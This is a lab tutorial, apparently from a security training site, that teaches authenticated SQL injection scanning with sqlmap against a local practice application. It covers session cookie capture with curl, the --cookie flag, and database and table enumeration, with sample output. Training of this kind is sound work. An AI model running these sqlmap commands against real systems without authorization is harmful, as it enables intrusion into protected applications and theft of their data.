Perform Authenticated Scans with Cookies in sqlmap

Introduction

In web application penetration testing, many vulnerabilities exist within areas that require user authentication. Tools like sqlmap, a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws, need a way to access these protected sections. This lab will guide you through the process of performing authenticated scans using session cookies with sqlmap. You will learn how to extract session cookies from a browser and then use them to instruct sqlmap to maintain an authenticated session while scanning. This technique is crucial for comprehensive security assessments of modern web applications.

Log into a Target Web Application

In this step, you will simulate logging into a target web application. For the purpose of this lab, we will assume there is a web application running locally that requires authentication. You will use curl to simulate a login request and obtain a session cookie. In a real-world scenario, you would typically log in via a web browser.

First, let's simulate a successful login to a hypothetical application. We'll use curl to send a POST request with dummy credentials. The server's response will include a Set-Cookie header if the login is successful.

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

The -c cookiejar.txt option tells curl to write any received cookies to a file named cookiejar.txt. After executing this command, a file named cookiejar.txt should be created in your current directory (~/project).

Now, let's view the content of the cookiejar.txt file to see the session cookie.

cat cookiejar.txt

You should see output similar to this, containing the session cookie information:

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

The important part here is the PHPSESSID value (e.g., a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6). This is your session cookie.

In this step, you will learn how to manually extract the session cookie string. While curl automatically saved it to cookiejar.txt in the previous step, understanding how to manually extract it is crucial for real-world scenarios where you might log in via a web browser.

From the cookiejar.txt file, you need to identify the actual cookie string. In our example, it's PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6.

You can use grep and awk to extract just the cookie value from the cookiejar.txt file.

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

This command will output only the cookie string, for example:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

This is the string you will provide to sqlmap using the --cookie flag. Copy this string, as you will need it in the next step.

Use the `--cookie` Flag to Provide the Session Cookie

Now that you have extracted the session cookie, you can use it with sqlmap to perform an authenticated scan. The --cookie flag in sqlmap allows you to specify the HTTP cookie header value.

For this lab, we will assume a vulnerable page exists at http://localhost:8080/authenticated_page.php?id=1. This page requires the PHPSESSID cookie to be present for access.

Replace YOUR_COOKIE_STRING with the actual cookie string you extracted in the previous step (e.g., PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6).

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

Let's break down the sqlmap command:

-u "http://localhost:8080/authenticated_page.php?id=1": Specifies the target URL.
--cookie="YOUR_COOKIE_STRING": Provides the session cookie to sqlmap. This is the crucial part for authenticated scans.
--batch: Runs sqlmap in non-interactive mode, accepting default choices.
--forms: Tells sqlmap to parse and test forms on the target URL.
--level=1 --risk=1: Sets the detection level and risk. For a quick test, level 1 and risk 1 are sufficient.

Execute the command. sqlmap will start scanning the specified URL, using the provided cookie to maintain the authenticated session.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

The output will show sqlmap's progress and any findings. If the scan proceeds without errors related to authentication, it indicates that sqlmap successfully used the cookie.

Execute a Scan Against a Page Requiring Authentication

In this step, we will refine our sqlmap command to specifically target a page that is known to require authentication and might be vulnerable. We'll use a slightly more verbose output to observe sqlmap's behavior.

Let's assume the authenticated_page.php is indeed vulnerable to SQL injection via the id parameter. We will use the --dbs flag to try and enumerate databases, which is a common first step in SQL injection exploitation.

Again, replace YOUR_COOKIE_STRING with your actual session cookie.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

The --dbs flag attempts to enumerate the database names. If sqlmap successfully uses the cookie, it should be able to access the page and proceed with the database enumeration.

Observe the output. If sqlmap reports finding databases (e.g., information_schema, mysql, testdb), it confirms that the authenticated scan was successful. If it reports "no injectable parameters found" or "page not accessible", it might indicate an issue with the cookie or the target URL.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

The presence of database names in the output confirms that sqlmap was able to access the authenticated page and perform the injection test.

Confirm the Scan Runs as an Authenticated User

In this final step, we will confirm that sqlmap is indeed operating as an authenticated user by observing its behavior and potential findings. A key indicator is whether sqlmap can access and test parameters on pages that are only visible after login.

If sqlmap successfully enumerated databases in the previous step, it's a strong confirmation. To further solidify this, you can try to dump data from one of the discovered databases, for example, testdb.

Replace YOUR_COOKIE_STRING with your actual session cookie.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

Here, -D testdb specifies the database to target, and --tables attempts to enumerate tables within that database. If sqlmap can list tables from testdb, it definitively proves it's operating within the authenticated context.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

The output showing table names (e.g., users, products) under the testdb database confirms that sqlmap successfully maintained the authenticated session and was able to perform deeper enumeration within the protected area of the application. This demonstrates the effectiveness of using cookies for authenticated scans.

Summary

In this lab, you have successfully learned how to perform authenticated scans using sqlmap by leveraging session cookies. You started by simulating a login to a web application and extracting the session cookie. Then, you used the --cookie flag in sqlmap to provide this cookie, enabling the tool to access and scan pages that require authentication. Finally, you confirmed the success of the authenticated scan by observing sqlmap's ability to enumerate databases and tables within the protected area of the application. This skill is fundamental for conducting comprehensive security assessments of modern web applications where much of the functionality resides behind a login.

Manage Authenticated Scans using Cookies in sqlmap